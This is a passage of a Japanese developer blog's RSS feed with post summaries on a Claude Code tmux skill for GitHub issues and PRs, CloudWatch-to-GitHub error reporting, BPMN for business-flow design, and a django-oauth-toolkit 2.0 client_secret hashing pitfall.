&lt;p&gt;DRF の API ルート (&lt;code&gt;/api/rest/&lt;/code&gt;) にアクセスすると、レスポンスに含まれる URL がすべて &lt;code&gt;http://&lt;/code&gt; になっていました。&lt;/p&gt;</description></item><item><title>Claude Code + tmux で GitHub Issue/PR をウィンドウ単位で管理する tmux-focus スキル</title><link>https://hdknr.github.io/blogs/posts/2026/02/claude-code--tmux-%E3%81%A7-github-issue/pr-%E3%82%92%E3%82%A6%E3%82%A3%E3%83%B3%E3%83%89%E3%82%A6%E5%8D%98%E4%BD%8D%E3%81%A7%E7%AE%A1%E7%90%86%E3%81%99%E3%82%8B-tmux-focus-%E3%82%B9%E3%82%AD%E3%83%AB/</link><pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/claude-code--tmux-%E3%81%A7-github-issue/pr-%E3%82%92%E3%82%A6%E3%82%A3%E3%83%B3%E3%83%89%E3%82%A6%E5%8D%98%E4%BD%8D%E3%81%A7%E7%AE%A1%E7%90%86%E3%81%99%E3%82%8B-tmux-focus-%E3%82%B9%E3%82%AD%E3%83%AB/</guid><description>&lt;hr&gt;
&lt;h2 id="description-tmux-ウィンドウの-issuepr-切替-tmux-focus--w-r-"&gt;name: tmux-focus
description: &amp;ldquo;tmux ウィンドウの Issue/PR 切替: /tmux-focus [-w|-r] &lt;number&gt;&amp;rdquo;&lt;/h2&gt;
&lt;h1 id="tmux-focus-スキル"&gt;tmux-focus スキル&lt;/h1&gt;
&lt;p&gt;現在の tmux ウィンドウの Issue/PR を切り替えるスキル。&lt;/p&gt;
&lt;h2 id="使い方"&gt;使い方&lt;/h2&gt;
&lt;h3 id="tmux-focus-number--issue-モード"&gt;&lt;code&gt;/tmux-focus &amp;lt;number&amp;gt;&lt;/code&gt; — Issue モード&lt;/h3&gt;
&lt;p&gt;Bash で以下を実行:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;~/.claude/skills/tmux-focus/scripts/tmux-issue-change.sh &amp;lt;number&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;ウィンドウ名を &lt;code&gt;issue-&amp;lt;number&amp;gt;&lt;/code&gt; に変更し、対応する GitHub Issue をブラウザで開く。&lt;/p&gt;
&lt;h3 id="tmux-focus--w-number--pr-worktree-モード"&gt;&lt;code&gt;/tmux-focus -w &amp;lt;number&amp;gt;&lt;/code&gt; — PR worktree モード&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;gh pr view &amp;lt;number&amp;gt;&lt;/code&gt; で PR であることを確認する。PR でなければエラーメッセージを表示して終了。&lt;/li&gt;
&lt;li&gt;Bash で以下を実行:
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;~/.claude/skills/tmux-focus/scripts/tmux-issue-change.sh --pr &amp;lt;number&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;ウィンドウ名を &lt;code&gt;pr-&amp;lt;number&amp;gt;&lt;/code&gt; に変更し、ブラウザで PR を開く。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;EnterWorktree&lt;/code&gt; ツールで worktree を作成する。&lt;/li&gt;
&lt;li&gt;worktree 内で以下を実行:
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gh pr checkout &amp;lt;number&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="tmux-focus--r-number--pr-レビューモード"&gt;&lt;code&gt;/tmux-focus -r &amp;lt;number&amp;gt;&lt;/code&gt; — PR レビューモード&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;gh pr view &amp;lt;number&amp;gt;&lt;/code&gt; で PR であることを確認する。PR でなければエラーメッセージを表示して終了。&lt;/li&gt;
&lt;li&gt;Bash で以下を実行:
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;~/.claude/skills/tmux-focus/scripts/tmux-issue-change.sh --pr &amp;lt;number&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;ウィンドウ名を &lt;code&gt;pr-&amp;lt;number&amp;gt;&lt;/code&gt; に変更し、ブラウザで PR を開く。&lt;/li&gt;
&lt;li&gt;worktree 内でなければ &lt;code&gt;EnterWorktree&lt;/code&gt; ツールで worktree を作成する。&lt;/li&gt;
&lt;li&gt;worktree 内で以下を実行:
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gh pr checkout &amp;lt;number&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;PR のコード差分をレビュー開始する（&lt;code&gt;gh pr diff &amp;lt;number&amp;gt;&lt;/code&gt; で差分を取得し、変更内容を分析）。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="スクリプトが存在しない場合"&gt;スクリプトが存在しない場合&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;~/.claude/skills/tmux-focus/scripts/tmux-issue-change.sh&lt;/code&gt; が存在しない場合は、以下の内容で作成して &lt;code&gt;chmod +x&lt;/code&gt; する。&lt;/p&gt;</description></item><item><title>CloudWatch Logs のエラーを自動で GitHub Issues に課題化する</title><link>https://hdknr.github.io/blogs/posts/2026/02/cloudwatch-logs-%E3%81%AE%E3%82%A8%E3%83%A9%E3%83%BC%E3%82%92%E8%87%AA%E5%8B%95%E3%81%A7-github-issues-%E3%81%AB%E8%AA%B2%E9%A1%8C%E5%8C%96%E3%81%99%E3%82%8B/</link><pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/cloudwatch-logs-%E3%81%AE%E3%82%A8%E3%83%A9%E3%83%BC%E3%82%92%E8%87%AA%E5%8B%95%E3%81%A7-github-issues-%E3%81%AB%E8%AA%B2%E9%A1%8C%E5%8C%96%E3%81%99%E3%82%8B/</guid><description>&lt;h1 id="cloudwatch-logs-のエラーを自動で-github-issues-に課題化する"&gt;CloudWatch Logs のエラーを自動で GitHub Issues に課題化する&lt;/h1&gt;
&lt;p&gt;ECS で稼働するWebアプリケーションのエラーログを自動的に GitHub Issues に報告する仕組みを構築しました。手動でログを監視する必要がなくなり、エラー発生時に即座にチームが認識・対応できるようになります。&lt;/p&gt;
&lt;h2 id="背景"&gt;背景&lt;/h2&gt;
&lt;p&gt;マルチテナントの業務システムを ECS Fargate 上で運用しています。アプリケーションは2つあり、それぞれ異なるフレームワークで構築されています。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;アプリ&lt;/th&gt;
&lt;th&gt;フレームワーク&lt;/th&gt;
&lt;th&gt;用途&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;web&lt;/td&gt;
&lt;td&gt;Laravel (PHP)&lt;/td&gt;
&lt;td&gt;業務管理システム&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;api&lt;/td&gt;
&lt;td&gt;Django (Python)&lt;/td&gt;
&lt;td&gt;API サーバー&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;これまで CloudWatch Logs にログは収集していたものの、エラーの検知は手動確認に頼っていました。500エラーや例外発生を見逃すリスクがあり、自動検知の仕組みが必要でした。&lt;/p&gt;
&lt;h2 id="アーキテクチャ"&gt;アーキテクチャ&lt;/h2&gt;
&lt;p&gt;Subscription Filter + Lambda + GitHub Issues API の構成を採用しました。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;CloudWatch Logs (/ecs/{prefix}-ecs-{app})
└── Subscription Filter (エラーパターンマッチ)
└── Lambda Function (Docker/arm64, Python 3.12)
├── エラー解析 (HTTP 5xx, 例外, スタックトレース)
├── ±5秒のログコンテキスト取得
├── 既存 Open Issue 検索
└── 新規 Issue 作成 or 既存 Issue にコメント追加
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="この構成を選んだ理由"&gt;この構成を選んだ理由&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方式&lt;/th&gt;
&lt;th&gt;リアルタイム性&lt;/th&gt;
&lt;th&gt;柔軟性&lt;/th&gt;
&lt;th&gt;コスト&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Subscription Filter + Lambda&lt;/strong&gt; (採用)&lt;/td&gt;
&lt;td&gt;高&lt;/td&gt;
&lt;td&gt;高&lt;/td&gt;
&lt;td&gt;中&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Metric Filter + Alarm + SNS&lt;/td&gt;
&lt;td&gt;中 (1分以上遅延)&lt;/td&gt;
&lt;td&gt;低&lt;/td&gt;
&lt;td&gt;低&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CloudWatch Logs Insights (定期実行)&lt;/td&gt;
&lt;td&gt;低&lt;/td&gt;
&lt;td&gt;高&lt;/td&gt;
&lt;td&gt;低&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Subscription Filter はログ出力時にほぼリアルタイムで Lambda を起動するため、エラー発生から数秒で Issue が作成されます。&lt;/p&gt;</description></item><item><title>業務フローの設計にPowerPointではなくBPMNを使うべき理由 — Claude Code時代の詳細設計</title><link>https://hdknr.github.io/blogs/posts/2026/02/%E6%A5%AD%E5%8B%99%E3%83%95%E3%83%AD%E3%83%BC%E3%81%AE%E8%A8%AD%E8%A8%88%E3%81%ABpowerpoint%E3%81%A7%E3%81%AF%E3%81%AA%E3%81%8Fbpmn%E3%82%92%E4%BD%BF%E3%81%86%E3%81%B9%E3%81%8D%E7%90%86%E7%94%B1-claude-code%E6%99%82%E4%BB%A3%E3%81%AE%E8%A9%B3%E7%B4%B0%E8%A8%AD%E8%A8%88/</link><pubDate>Mon, 16 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/%E6%A5%AD%E5%8B%99%E3%83%95%E3%83%AD%E3%83%BC%E3%81%AE%E8%A8%AD%E8%A8%88%E3%81%ABpowerpoint%E3%81%A7%E3%81%AF%E3%81%AA%E3%81%8Fbpmn%E3%82%92%E4%BD%BF%E3%81%86%E3%81%B9%E3%81%8D%E7%90%86%E7%94%B1-claude-code%E6%99%82%E4%BB%A3%E3%81%AE%E8%A9%B3%E7%B4%B0%E8%A8%AD%E8%A8%88/</guid><description>&lt;h1 id="業務フローの設計にpowerpointではなくbpmnを使うべき理由--claude-code時代の詳細設計"&gt;業務フローの設計にPowerPointではなくBPMNを使うべき理由 — Claude Code時代の詳細設計&lt;/h1&gt;
&lt;h2 id="はじめに"&gt;はじめに&lt;/h2&gt;
&lt;p&gt;業務システムの設計でSwim Lane（スイムレーン）形式の業務フローを書くとき、多くの現場ではPowerPointやFigmaが使われています。見た目は整えやすく、関係者への説明資料としてはよくできています。&lt;/p&gt;
&lt;p&gt;しかし、この「人間が読むための図」を設計の源泉にしてしまうと、あと工程で大きなコストが発生します。特に、Claude CodeのようなAIエージェントを開発に活用する場合、&lt;strong&gt;設計成果物のフォーマット選択が開発効率を決定的に左右します&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;本記事では、実際にPowerPointのスライドからBPMN 2.0に変換した経験をもとに、BPMNを採用する利点を解説します。&lt;/p&gt;
&lt;h2 id="powerpointの業務フローが抱える問題"&gt;PowerPointの業務フローが抱える問題&lt;/h2&gt;
&lt;p&gt;PowerPointのスライドに描かれた業務フローは、本質的に「画像」です。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;PowerPoint (.pptx)
├── 図形の座標とスタイル情報
├── テキストボックスの文字列
└── グループ化とレイヤー
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;これは人間が見るには十分ですが、次のような問題があります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;構造情報がない&lt;/strong&gt;: 「この矢印がどのタスクからどのタスクへ向かっているか」をプログラムが読み取れない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;アクターの定義が曖昧&lt;/strong&gt;: レーンの境界が図形の配置で表現されているだけで、意味的な紐付けがない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;分岐条件が自然言語&lt;/strong&gt;: ゲートウェイの条件が図中のテキストに埋め込まれ、機械的に検証できない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;フロー間の接続が不明確&lt;/strong&gt;: 複数スライドにまたがるフローの接続点（「次のフローへ」）が視覚的な慣習に依存&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="bpmn-20とは"&gt;BPMN 2.0とは&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;BPMN（Business Process Model and Notation）&lt;/strong&gt; は、業務プロセスを図式化するための国際標準記法です。OMG（Object Management Group）が策定し、ISO 19510として国際標準化されています。現行バージョンはBPMN 2.0.2です。&lt;/p&gt;
&lt;p&gt;BPMNの最大の特徴は、&lt;strong&gt;人間が理解できるフロー図&lt;/strong&gt;と&lt;strong&gt;機械が処理できるXML&lt;/strong&gt;が一つのファイルに同居している点です。プールとレーン（Swim Lane）でアクターを表現し、タスク・ゲートウェイ・イベントでプロセスの流れを記述します。&lt;/p&gt;
&lt;h2 id="bpmn-20がもたらす構造化"&gt;BPMN 2.0がもたらす構造化&lt;/h2&gt;
&lt;p&gt;BPMN 2.0はXML形式で、&lt;strong&gt;見た目と意味の両方&lt;/strong&gt;を持つフォーマットです。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;bpmn:process&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Process_1&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;isExecutable=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;false&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;bpmn:laneSet&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;LaneSet_1&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;bpmn:lane&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Lane_reception&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;太平受付担当&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;bpmn:flowNodeRef&amp;gt;&lt;/span&gt;r1&lt;span style="color:#f92672"&gt;&amp;lt;/bpmn:flowNodeRef&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;bpmn:flowNodeRef&amp;gt;&lt;/span&gt;r2&lt;span style="color:#f92672"&gt;&amp;lt;/bpmn:flowNodeRef&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;/bpmn:lane&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;bpmn:lane&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Lane_system&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;システム&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;/bpmn:laneSet&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;bpmn:task&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;r1&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;修理内容の特定&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;bpmn:exclusiveGateway&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;d2&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;保証範囲?&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;bpmn:sequenceFlow&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;sourceRef=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;r1&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;targetRef=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;d2&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/bpmn:process&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;この構造から、以下がプログラム的に読み取れます。&lt;/p&gt;</description></item><item><title>django-oauth-toolkit 2.0 の client_secret ハッシュ化で外部連携が壊れた話</title><link>https://hdknr.github.io/blogs/posts/2026/02/django-oauth-toolkit-2.0-%E3%81%AE-client_secret-%E3%83%8F%E3%83%83%E3%82%B7%E3%83%A5%E5%8C%96%E3%81%A7%E5%A4%96%E9%83%A8%E9%80%A3%E6%90%BA%E3%81%8C%E5%A3%8A%E3%82%8C%E3%81%9F%E8%A9%B1/</link><pubDate>Fri, 13 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/django-oauth-toolkit-2.0-%E3%81%AE-client_secret-%E3%83%8F%E3%83%83%E3%82%B7%E3%83%A5%E5%8C%96%E3%81%A7%E5%A4%96%E9%83%A8%E9%80%A3%E6%90%BA%E3%81%8C%E5%A3%8A%E3%82%8C%E3%81%9F%E8%A9%B1/</guid><description>&lt;h1 id="django-oauth-toolkit-20-の-client_secret-ハッシュ化で外部連携が壊れた話"&gt;django-oauth-toolkit 2.0 の client_secret ハッシュ化で外部連携が壊れた話&lt;/h1&gt;
&lt;h2 id="tldr"&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;django-oauth-toolkit&lt;/code&gt; を 1.x から 2.0 にアップグレードすると、&lt;code&gt;Application.client_secret&lt;/code&gt; が &lt;strong&gt;平文からハッシュ値に自動変換&lt;/strong&gt; される。この変更に気づかず、DB 上のハッシュ値を「シークレット」として外部サービスにコピーすると、&lt;strong&gt;二重ハッシュ&lt;/strong&gt; で認証が通らなくなる。さらに、&lt;code&gt;Application&lt;/code&gt; を動的に生成するコードがある場合、バージョンアップ後に平文を返すべき箇所でハッシュ値を返してしまう問題も起きる。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="背景"&gt;背景&lt;/h2&gt;
&lt;p&gt;2つの Django サービス間で OAuth2 Client Credentials Grant による認証を行っていた。&lt;/p&gt;
